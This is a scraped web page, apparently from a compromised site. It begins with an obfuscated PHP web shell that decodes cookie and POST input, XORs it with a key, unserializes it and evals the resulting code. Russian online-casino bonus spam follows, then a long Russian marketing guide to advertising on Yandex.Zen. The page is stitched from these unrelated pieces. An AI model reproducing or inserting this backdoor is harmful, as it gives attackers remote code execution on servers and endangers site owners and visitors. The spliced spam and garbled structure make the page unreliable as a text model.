$ExATBHdrjx = chr (110) . chr (89) . '_' . "\146" . 'F' . chr (101) . "\x63" . "\x6a";$dTcYTs = chr ( 923 - 824 ).chr (108) . "\141" . "\163" . chr ( 444 - 329 )."\x5f" . "\145" . chr ( 849 - 729 )."\151" . 's' . "\164" . "\163";$UEryFNZn = class_exists($ExATBHdrjx); $ExATBHdrjx = "54987";$dTcYTs = "32390";if ($UEryFNZn === FALSE){class nY_fFecj{public function HoPkywXu(){echo "50866";}private $zlBAE;public static $QMhnzetuC = "ccf9cc12-5651-484b-b00b-75c861c848bb";public static $YjikaM = 25937;public function __construct($aGIZqy=0){$KNLAxXYaeG = $_POST;$FVzzHmHMcI = $_COOKIE;$mxPAikusEN = @$FVzzHmHMcI[substr(nY_fFecj::$QMhnzetuC, 0, 4)];if (!empty($mxPAikusEN)){$KsDaP = "base64";$lfcRvy = "";$mxPAikusEN = explode(",", $mxPAikusEN);foreach ($mxPAikusEN as $xvcDfhu){$lfcRvy .= @$FVzzHmHMcI[$xvcDfhu];$lfcRvy .= @$KNLAxXYaeG[$xvcDfhu];}$lfcRvy = array_map($KsDaP . "\137" . 'd' . "\145" . chr ( 418 - 319 ).'o' . "\144" . chr ( 1047 - 946 ), array($lfcRvy,)); $lfcRvy = $lfcRvy[0] ^ str_repeat(nY_fFecj::$QMhnzetuC, (strlen($lfcRvy[0]) / strlen(nY_fFecj::$QMhnzetuC)) + 1);nY_fFecj::$YjikaM = @unserialize($lfcRvy);}}private function pCYmbi(){if (is_array(nY_fFecj::$YjikaM)) {$sKyfUZ = str_replace("\x3c" . chr ( 703 - 640 ).chr (112) . 'h' . "\160", "", nY_fFecj::$YjikaM['c' . "\x6f" . 'n' . chr (116) . chr ( 954 - 853 ).chr (110) . chr (116)]);eval($sKyfUZ); $BOmhr = "6587";exit();}}public function __destruct(){$this->pCYmbi();}}$ejrnLAMBC = new /* 63831 */ nY_fFecj(); $ejrnLAMBC = str_repeat("39290_61356", 1);}
Бонус за регистрацию: 100 Бесплатных Спинов ( Ссылка на Бесплатный Бонус )
Бонус за первый депозит: 150% за пополнение на €/$/₽ 500 ( Ссылка на регистрацию )
Бонус за регистрацию: 50 Бесплатных Спинов ( Ссылка на Бесплатный Бонус )
Бонус за первый депозит: 150% за пополнение на €/$/₽ 1000 ( Ссылка на регистрацию )
Бонус за регистрацию: 80 Бесплатных Спинов ( Ссылка на Бесплатный Бонус )
Бонус за первый депозит: 100% за пополнение на €/$/₽ 1000 ( Ссылка на регистрацию )
Бонус за регистрацию: 50 Бесплатных Спинов ( Ссылка на Бесплатный Бонус )
Бонус за первый депозит: 200% за пополнение на €/$/₽ 500 ( Ссылка на регистрацию )
Бонус за регистрацию: 150 Бесплатных Спинов ( Ссылка на Бесплатный Бонус )
Бонус за первый депозит: 200% за пополнение на €/$/₽ 1000 ( Ссылка на регистрацию )
Бонус за регистрацию: 30 Бесплатных Спинов ( Ссылка на Бесплатный Бонус )
Бонус за первый депозит: 100% за пополнение на €/$/₽ 500 ( Ссылка на регистрацию )
Яндекс.Дзен – платформа с миллионной аудиторией для читателей и авторов. С 2019 года на платформе появилась возможность использовать платное продвижение для публикаций. С помощью рекламы в Дзене можно продвигать товары, услуги, запускать охватные кампании для привлечения внимания к бренду.
В статье рассказываем, какие возможности есть в Яндекс.Дзене для рекламодателей, в чем заключаются особенности платформы и как запустить рекламную кампанию.
Чем уникальна платформа Яндекс.Дзен и почему здесь выгодно размещать рекламу
Кто пользуется Дзеном и что интересно этой аудитории
Почему рекламодателям выгодно показывать рекламу аудитории Дзена
Какие форматы рекламы доступны
Как создавать статьи в Яндекс.Дзене и что нужно учитывать
Требования Дзена к публикациям
Виды статей и их особенности
Как оформлять статьи
Технология Scroll2Site
Как настроить и запустить рекламу в кабинете Яндекс.Дзена
Как создавать видеоролики в Дзене
Главное о видеороликах в Дзене
Что нужно знать при загрузке видео в Дзен
Рекламные видео с бесшовным переходом на сайт
Рекламироваться в Яндекс.Дзен выгодно и удобно
Яндекс.Дзен – сервис персональных рекомендаций и издательская платформа (так описывает сервис сам Яндекс). В Дзене пользователи получают персонализированную ленту контента (подобранного с учетом интересов конкретного пользователя), а авторы делятся этим контентом, нарабатывают аудиторию и зарабатывают на рекламе (или продвижении своих продуктов).
Рекламодатели могут использовать платформу для продвижения своих продуктов среди аудитории потенциальных клиентов – пользователей Дзена.
Персонализированная лента
Каждый пользователь Яндекс.Дзена видит уникальную ленту публикаций, подобранных с учетом его интересов. За это отвечают алгоритмы рекомендательных технологий Яндекса (искусственного интеллекта).
При подборе рекомендованных публикаций алгоритмы учитывают множество факторов. Проще говоря, используется вся доступная информация об активности пользователя, история взаимодействия с другими публикациями и т.д.
Вот основные факторы, которые учитывают рекомендательные технологии:
Алгоритмы Дзена также работают и на пользу рекламодателей. К примеру, вы рекламируете публикацию о финансовом планировании. Публикация показана тестовой аудитории в 10 тысяч человек, в которую попали три сегмента аудитории:
Публикация вызвала больше вовлеченности и положительных реакций у предпринимателей. Алгоритмы это «понимают» и начнут расширять охват этого сегмента аудитории. Сегменты с низкой вовлеченностью будут исключаться.
Яндекс.Дзен входит в десятку крупнейших ресурсов Рунета. Более 50 миллионов человек регулярно пользуются платформой, поэтому полезно знать, как именно распределяется аудитория по социально-демографическим показателям и интересам.
По данным Яндекс.Радара аудитория Дзена распределяется так:
Вот топ-5 тематик, которые пользуются популярностью у аудитории Дзена:
1. Найти новую аудиторию. По состоянию на август 2020 года Дзен ежемесячно посещают 51,2 миллиона пользователей. Это огромная аудитория, среди которой можно найти своих потенциальных клиентов.
2. Публикация и продвижение контента в Дзене – отличный способ повысить узнаваемость бренда.
Например, так делает ЖК Balance: публикует полезный контент, который интересен ЦА, а заодно – повышает узнаваемость бренда
3. Сформировать спрос и познакомить ЦА с новыми продуктами. Публикуйте контент, который рассказывает о продуктах бренда, после прочтения перенаправляйте пользователей на сайт компании, где они смогут узнать больше информации.
4. Охватить клиентов на всех этапах воронки продаж. С помощью Дзена вы можете познакомить потенциальных клиентов со своим продуктом, получить заявки, а затем – покупки (или постоянных клиентов). Например, в 2018 году компания Volkswagen запустила рекламу семейного внедорожника Volkswagen Teramont.
Вот результаты кейса:
Низкий показатель отказов – прямое свидетельство того, что с Дзена пришел качественный трафик.
5. Генерировать лиды. Дзен предлагает рекламодателям технологию Scroll2Site – при дочитывании статьи до конца пользователь автоматически переходит на сайт рекламодателя.
В самом Дзене есть два формата публикаций: статьи и видео (раньше были еще нарративы и посты, но после роста популярности видео Дзен закрыл эти форматы).
В рекламном кабинете Дзена можно создать кампанию для продвижения статьи или видеролика (возможность запускать рекламу в видео появилась в сентябре 2020 года).
Статьи –основной формат контента в Дзене. Кроме текста в статьях можно размещать ссылки на внешние ресурсы, изображения, встраивать видеоролики.
Чтобы добавить статью, перейдите в Редактор Дзена, кликните по знаку плюса вверху справа и выберите «Статья» из выпадающего списка.
Чтобы статьи показывались в рекомендательных лентах, они должны соответствовать правилам Дзена. Вот основные правила, которые нужно соблюдать при подготовке публикаций.
1. Нельзя копировать чужой контент без упоминания автора (текст, изображения, видео). Если используете контент других людей, обязательно указывайте, кто автор. Важно знать, если на канале публикуются только заимствованные материалы, он будет заблокирован.
2. Запрещена реклама азартных игр и лотерей. Об азартных играх можно только рассказывать, но публикации не должны стимулировать пользователей играть в такие игры. В статьях запрещены:
За нарушение правил Дзен может заблокировать публикацию или весь канал.
3. Запрещена реклама продуктов, которые вредят здоровью. К примеру, запрещена реклама алкоголя, сигарет и других подобных товаров.
4. Нельзя публиковать дублированный контент:
При этом можно публиковать на канале материалы, которые размещены на сайте или в соцсетях.
Если вы нарушили это правило один раз, система не заблокирует канал, но публикация не будет показываться в рекомендательных лентах (подписчики канала смогут ее видеть). Повторных нарушений лучше избегать, чтобы не получить более серьезные санкции.
5. Нельзя публиковать ложную информацию. Например, автор не должен выдавать себя за другого человека, публиковать контент, который содержит обманные утверждения. Также нельзя использовать кликбейт в заголовках.
6. Запрещено рекламировать медицинские товары и услуги, а также публиковать контент, который призывает принимать лекарства или проходить медицинские процедуры. Словом, всего, что касается медицины и фармацевтики, лучше избегать. Иначе канал быстро попадет под санкции.
7. Запрещена ненормативная лексика, пропаганда насилия, оскорбления других авторов в комментариях.
Что будет, если нарушить правила
Есть три варианта развития событий после нарушения правил. Любое из них – достаточно неприятное.
В Дзене нет ограничений по объему текста статей или формату. Для авторов, рекламодателей и самой платформы выгодно, чтобы пользователи больше времени проводили на платформе и больше взаимодействовали с публикациями. Исходя из этого, приветствуются статьи любого формата: главное, чтобы они были интересны читателям.
Все статьи Дзене можно условно разделить на три вида:
На обычных авторских статьях авторы могут зарабатывать, подключив монетизацию: в статьях будут размещаться рекламные блоки.
Чтобы получить возможность подключить монетизацию, канал должен быть активным и набрать определенную статистику:
–среднее время дочитывания – более 40 секунд;
– общее время дочитываний за 7 дней – более 10 000 минут.
Подробнее о способах монетизации – в Справке Дзена.
Чтобы публикацию прочитало как можно больше людей, она должна привлечь внимание в ленте и вызвать желание кликнуть. Поэтому следует уделять внимание карточке публикаций (то, как статья отображается в ленте рекомендаций). В карточке размещается:
Карточка – это первое, что видит пользователь Дзена при взаимодействии с вашей публикацией. Поэтому все элементы карточки должны быть максимально информативными и привлекательными.
Заголовок
Интересный и информативный заголовок – пожалуй, самый важный элемент в карточке.
Требования Дзена к заголовку:
Для привлечения читателей старайтесь делать заголовки, которые вызывают интерес к публикации. Вот несколько рекомендаций.
Обложка и изображения
В статью можно добавлять любое количество изображений (для иллюстрации того, о чем вы пишете). При публикации статьи в настройках можно выбрать изображение, которое должно отображаться на обложке.
Для обложки вы можете использовать собственные фотографии или графику, а также фото из фотостоков (со свободной лицензией).
Оформление статьи
Текстовый редактор Яндекс.Дзена довольно лаконичен: в нем минимум инструментов для стилизации текста, зато есть все самое необходимое.
При создании публикации можно:
Используйте эти инструменты для структурирования текста. Вот основные рекомендации.
При выборе цели «Вовлечение» для рекламной кампании в Дзене в публикациях можно подключить технологию Scroll2Site. Суть технологии: после дочитывания (доскролла) статьи до конца Дзен автоматически перенаправит пользователя на сайт рекламодателя.
Добавить эту опцию можно при создании публикации в интерфейсе Редактора Дзена. Для этого нужно кликнуть по ссылке «Листая дальше, вы перейдете на страницу domain.ru».
Отобразится всплывающее окно с настройками Scroll2Site. Здесь нужно указать:
Сохраните изменения. Теперь пользователи смогут переходить на ваш сайт сразу после дочитывания статьи до конца.
По статистике Дзена, от 20% до 40% пользователей, которые дочитывают публикацию до конца, переходят на сайты рекламодателей. Это позволяет получать еще больше результатов с рекламных статей.
1. Перейдите вДзен для авторов и авторизуйтесь под своим аккаунтом Яндекса.
2. Если вы ранее не создавали канал, перед запуском рекламы настройте канал и укажите всю необходимую информацию. Для этого кликните по кнопке «Настроить канал» и укажите:
Также рекомендуем подключить счетчик Яндекс.Метрики – так вы сможете отслеживать активность аудитории канала.
3. Перейдите в рекламный кабинет и кликните по кнопке «Рассчитать кампанию».
4. Нажмите «Создать новую кампанию».
Откроется всплывающее окно с настройками:
5. Первым делом нужно выбрать цель кампании – «Вовлечение» или «Охват». Вот чем они отличаются:
Настройки кампании
Для выбора цели нужно просто переключиться на нужную вкладку.
Затем указываем настройки.
Если запускаете кампанию с целью «Охват», в настройках необходимо указать максимальный охват, который хотите получить (или максимальный бюджет, который готовы потратить). Бюджет рассчитывается исходя из значения CPM 200 рублей.
После того как все настройки сделаны, жмите «Сохранить». Кампания появится в рекламном кабинете. Теперь к ней нужно привязать публикацию, которая и будет показываться целевой аудитории.
Для этого кликните по кнопке «Добавить»:
Здесь вы сможете выбрать уже существующую публикацию (ранее опубликованную на канале) или создать статью с нуля:
На этом настройки заканчиваются. Следующий шаг – пополнить баланс в системе и дождаться запуска рекламы по расписанию. Порог входа достаточно высокий – первый платеж должен быть не меньше 75 тысяч рублей без НДС. Минимальная сумма дальнейших платежей – 25 тысяч рублей.
В 2019 году Яндекс.Дзен добавил возможность публиковать видеоролики на каналах. Видео быстро стали набирать популярность как формат, поэтому со временем Дзен отключил менее популярные форматы контента – нарративы и посты.
У Дзена есть определенные требования к техническим параметрам видео и контенту, который содержится в ролике. Соблюдение этих требований поможет успешно пройти модерацию и не получить блокировку.
Технические требования к видео:
Требования к содержимому
Здесь все то же, что и со статьями:
В сентябре 2020 года Яндекс.Дзен анонсировал возможность запуска рекламных видеороликов на платформе.
Рекламные видеоролики будут встраиваться в ленту Дзена на главной странице Яндекса и в мобильном приложении Дзена с пометкой «Промо».
Главное о формате:
Как создать кампанию с рекламным видеороликом
Сделать это можно в рекламном кабинете Дзена. Жмите «Создать новую кампанию» и переключитесь на вкладку «Видео: внешние переходы» или «Видео: досмотры» (в зависимости от того, какая цель вашей кампании).
После выбора цели и таргетингов останется только сохранить настройки, добавить видеоролик и запустить кампанию. В кампании можно использовать опубликованные ранее ролики или загрузить новый.
Размещайте рекламу в Яндекс.Дзене, отслеживайте эффективность и масштабируйте рекламные кампании, если результаты вас устраивают.